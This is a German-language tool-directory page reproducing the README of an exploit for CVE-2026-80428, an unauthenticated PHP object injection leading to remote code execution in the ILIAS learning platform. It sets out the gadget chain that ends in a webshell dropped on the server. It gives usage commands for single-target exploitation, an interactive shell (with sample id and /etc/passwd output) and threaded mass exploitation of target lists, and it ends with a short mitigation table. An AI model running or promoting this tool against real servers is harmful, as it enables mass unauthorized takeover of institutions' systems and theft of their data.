Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-80428 — ILIAS ≤ 9.21 / 10.9 / 11.2 — Nicht authentifizierte PHP-Object-Injection (RCE) | Kitploit
Tools/GitHubGitHub/hackfutsecroot/cve-2026-80428
SchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationPost-ExploitationWebsicherheitPenetrationstestsRemote-Access-Tool
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — Nicht authentifizierte PHP-Object-Injection (RCE)

Repository anzeigen
212vor 27 TagenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — Nicht authentifizierte PHP-Objektinjektion (RCE)

CVE-2026-80428

Vektor: Shibboleth-Back-Channel-Logout-Endpunkt
Auswirkung: Vollständige Remote-Code-Ausführung als Webserver-Benutzer
Schweregrad: 🔴 KRITISCH



📖 Inhaltsverzeichnis

  • 🔍 Überblick
  • ⚙️ Schwachstellenkette
  • 🎯 Betroffene Versionen
  • ✨ Funktionen
  • 📦 Installation
  • 🚀 Verwendung
    • Einzelziel-Exploit
    • Interaktive Shell
    • Massenausnutzung
  • 📁 Format der Zielliste
  • 🖼️ Screenshots
  • 🛡️ Gegenmaßnahmen
  • 📢 Kanäle & Community
  • ⚠️ Haftungsausschluss

🔍 Überblick

CVE-2026-80428 ist eine kritische nicht authentifizierte PHP-Objektinjektion-Schwachstelle, die das ILIAS-Lernmanagementsystem betrifft. Durch die Verkettung eines Session-Poisoning-Primitivs in ltiauth.php mit einem unsicheren unserialize()-Aufruf in shib_logout.php kann ein Angreifer beliebiges Schreiben von Dateien und letztlich Remote Code Execution (RCE) erreichen — und das alles ohne Authentifizierung.


🎯 Parameter📋 Wert
CVE-IDCVE-2026-80428
TypPHP-Objektinjektion → RCE
Erforderliche Authentifizierung❌ Keine
AngriffsvektorNetzwerk (HTTP/HTTPS)
CVSS-Score9.8 (Kritisch)

⚙️ Schwachstellenkette

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Schritt für Schritt:

  1. ltiauth.php speichert eine serialisierte Payload innerhalb der PHP-Session ohne Validierung.
  2. shib_logout.php verarbeitet eine manipulierte Shibboleth LogoutNotification-SOAP-Anfrage und ruft unserialize() auf den Session-Daten auf.
  3. Das GuzzleHttp\Cookie\FileCookieJar-Gadget ruft file_put_contents() auf, um eine PHP-Webshell an einem vom Angreifer kontrollierten Pfad abzulegen.

🎯 Betroffene Versionen

🏷️ Branch❌ Anfällig✅ Gepatcht
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ Funktionen

🔥 Kern

  • ✅ Nicht authentifizierte Ausnutzung
  • ✅ Einzelziel-Modus (exploit)
  • ✅ Interaktive Pseudo-Shell (shell)
  • ✅ Massenausnutzung mit Multiprocessing (mass)

💎 Komfort

  • 🎨 Vollständige ANSI-Farbausgabe
  • 🔄 Automatische Pfad-Fallbacks
  • 🧠 Versionserkennung & Patch-Prüfung
  • 📝 Automatisches Speichern anfälliger Ziele
  • 🌐 Benutzerdefinierter Host-Header-Support
  • 🔒 Legacy-TLS-Unterstützung

📦 Installation

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Voraussetzungen:

  • Python 3.8+
  • requests
  • urllib3

🚀 Verwendung

python3 CVE-2026-80428.py <mode> [options]

📌 Einzelziel-Exploit

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Optionen:

FlagBeschreibungStandard
--portZielport443
--pathILIAS-Docroot auf der Festplatte/var/www/ilias/public
--host-headerBenutzerdefinierter Host-Header—
--timeoutAnfrage-Timeout (s)30

💻 Interaktive Shell

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Mass Exploitation

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Optionen:

FlagBeschreibungStandard
-l, --listErforderlich — Zieldatei mit Liste—
-t, --threadsParallele Worker20
-o, --outputAusgabedatei für verwundbare Zieleilias_vuln.txt
--pathILIAS-Docroot/var/www/ilias/public
--host-headerBenutzerdefinierter Host-Header—
--timeoutAnfrage-Timeout (s)30

📁 Format der Zielliste

Erstellen Sie eine targets.txt-Datei:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Unterstützte Formate:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (Pfad wird entfernt)

🖼️ Screenshots

🎬 Mass-Scan-Ausgabe

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Schadensbegrenzung

Für Verteidiger und Systemadministratoren:

🛠️ Maßnahme📝 Details
🔼 ILIAS aktualisieren9.22 / 10.10 / 11.3 oder höher
🚫 Shibboleth deaktivierenFalls nicht verwendet — shib_logout.php entfernen
🧱 WAF-RegelnFehlerhafte SOAP-LogoutNotification-Payloads blockieren
📂 Schreibzugriff einschränkenDas Web-Root sollte nicht durch www-data beschreibbar sein
🔍 ÜberwachenAuf unerwartete .php-Dateien in Upload-/Cache-Verzeichnissen achten

📢 Kanäle & Community

🌐 Der Community beitreten


Tool herunterladen